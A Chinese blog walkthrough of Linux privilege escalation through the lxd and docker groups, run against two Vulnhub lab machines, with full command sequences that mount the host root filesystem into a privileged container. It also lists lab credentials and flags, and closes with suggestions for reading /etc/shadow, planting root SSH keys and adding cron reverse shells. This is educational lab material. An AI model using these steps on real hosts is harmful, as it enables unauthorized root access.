关于Linux环境下的LXD及Docker提权

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基本概念

        LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

        LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

        LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

        Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

0x02 LXD 提权

1、原理
LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 lxd 组

3、案例 - Vulnhub - AI-Web

AI-Web 靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/

前期 Web 打点拿到了 ssh 账号密码,如下:

User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf

ssh 连接后发现当前用户 n0nr00tuser 属于 lxd 组,也就是说可以操作 LXD 容器

┌──(root㉿ch4ser)-[~]
└─# ssh n0nr00tuser@192.168.196.144
n0nr00tuser@aiweb2host:~$ whoami
n0nr00tuser
n0nr00tuser@aiweb2host:~$ id
uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd)
n0nr00tuser@aiweb2host:~$ pwd
/home/n0nr00tuser

Kali 开启 apache2 服务,将镜像 alpine-v3.13-x86_64-20210218_0139.tar.gz 放到网站根目录

┌──(root㉿ch4ser)-[~]
└─# cd /var/www/html
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[/var/www/html]
└─# ls             
alpine-v3.13-x86_64-20210218_0139.tar.gz
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[/var/www/html]
└─# service apache2 start

 靶机 wget 下载,使用 lxc 创建容器并别名为 test

n0nr00tuser@aiweb2host:~$ wget http://192.168.196.128/alpine-v3.13-x86_64-20210218_0139.tar.gz
n0nr00tuser@aiweb2host:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b

初始化容器 test 并设置选项 security.privileged=true,即允许容器以特权模式运行

n0nr00tuser@aiweb2host:~$ lxc init test test -c security.privileged=true
Creating test

将宿主机的根目录 "/" 挂载到容器中的 "/mnt/root" 目录,recursive=true 选项表示在添加设备时递归创建目标路径

n0nr00tuser@aiweb2host:~$ lxc config device add test test disk source=/ path=/mnt/root recursive=true
Device test added to test

启动容器 test 并打开一个 shell 会话,可以看到当前权限为容器的 root 权限(注意:不是宿主机的 root 权限)

n0nr00tuser@aiweb2host:~$ lxc start test
n0nr00tuser@aiweb2host:~$ lxc exec test /bin/sh
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
~ # pwd
/root

此时我们对容器具有最高权限,而宿主机的目录已全部递归挂载到 /mnt/root,所以只需要进入 /mnt/root/root 目录查看便可得到 flag

~ # cd /mnt/root/root
/mnt/root/root # ls
flag.txt
/mnt/root/root # cat flag.txt 
####################################################
#                                                  #
#                 AI: WEB 2.0                      #
#                                                  #
#               Congratulation!!!                  #
#                                                  #
#             Hope you enjoyed this.               #
#                                                  #
#  flag{7fe64512ecd4dba377b50627f307d1678b14132f}  #
#                                                  #
#         Please tweet on @arif_xpress             #
#                                                  #
####################################################

 0x03 Docker 提权

1、原理
Docker 提权和 LXD 提权原理基本一致,都是通过挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 docker 组

3、案例 - Vulnhub - Chill-Hack

Chill-Hack 靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/

前期 Web 打点拿到了 ssh 账号密码,如下: 

User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd

ssh 连接后发现当前用户 anurodh 属于 docker 组,也就是说可以操作 Docker 容器

┌──(root㉿ch4ser)-[~]
└─# ssh anurodh@192.168.196.145
anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh

拉取镜像,创建容器,将宿主机的根目录 "/" 挂载到容器中的 "/mnt" 目录,进入 /mnt/root 目录查看便可得到 flag`

anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh
anurodh@ubuntu:~$ docker run -v /:/mnt -it alpine
/ # whoami
root
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # pwd
/
/ # cd /mnt/root
/mnt/root # ls
proof.txt
/mnt/root # cat proof.txt 


					{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}


Congratulations! You have successfully completed the challenge.

0x04 补充

上述提权方案只是对宿主机目录有了操作权限,如果此时反弹 shell 得到的权限将是容器内的 root 权限,而非宿主机的 root 权限,显然不是我们想要的。

那么如何得到宿主机的 root 权限呢?有以下几种方法参考:

1、破解 /etc/shadow 中的 hash,得到 root 账户密码,可使用 hashcat 等工具

2、添加 ssh 密钥绑定 root,之后使用 ssh 密钥登录 root

3、将反弹 shell 命令写到宿主机的计划任务,此时反弹的是宿主机root权限(推荐)

4、利用 CVE 漏洞直接利用反弹

  • 29
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
LXDDocker都是容器化技术的实现工具,但它们有一些不同之处。以下是它们之间的主要对比: 1. 级别 LXD是一个系统容器管理器,而Docker是一个应用容器管理器。系统容器是一个更高级别的虚拟化形式,它可以提供更完整的Linux系统环境,而应用容器只提供应用程序运行所需的最小环境。 2. 架构与运行方式 LXD是一个守护进程,需要在主机上运行,它可以管理多个容器。而Docker也是一个守护进程,但它还提供了客户端工具,可以在主机上管理多个Docker守护进程。 3. 安全性 LXD提供了一些额外的安全机制,如密钥管理和硬件加速,可以提高容器的安全性。而Docker也提供了一些安全机制,如容器隔离和镜像签名。 4. 性能 LXD可以提供更好的性能,因为它使用LXC(Linux容器)技术,这种技术在系统层面提供了更好的容器隔离和资源管理。而Docker则使用了更加轻量级的容器隔离技术,如命名空间和控制组。 5. 用途 LXD主要用于虚拟化和容器化整个系统,可以提供类似于虚拟机的环境,因此适用于运行多个相互隔离的应用。而Docker主要用于容器化单个应用程序,因此适用于构建和部署应用程序。 总的来说,LXD适用于需要更高级别虚拟化环境的场景,如虚拟化整个系统或运行多个相互隔离的应用;而Docker适用于构建和部署单个应用程序的场景。同时,LXD也提供了一些额外的安全和性能机制,但需要更多的资源和配置,而Docker则更加轻量级和易于使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值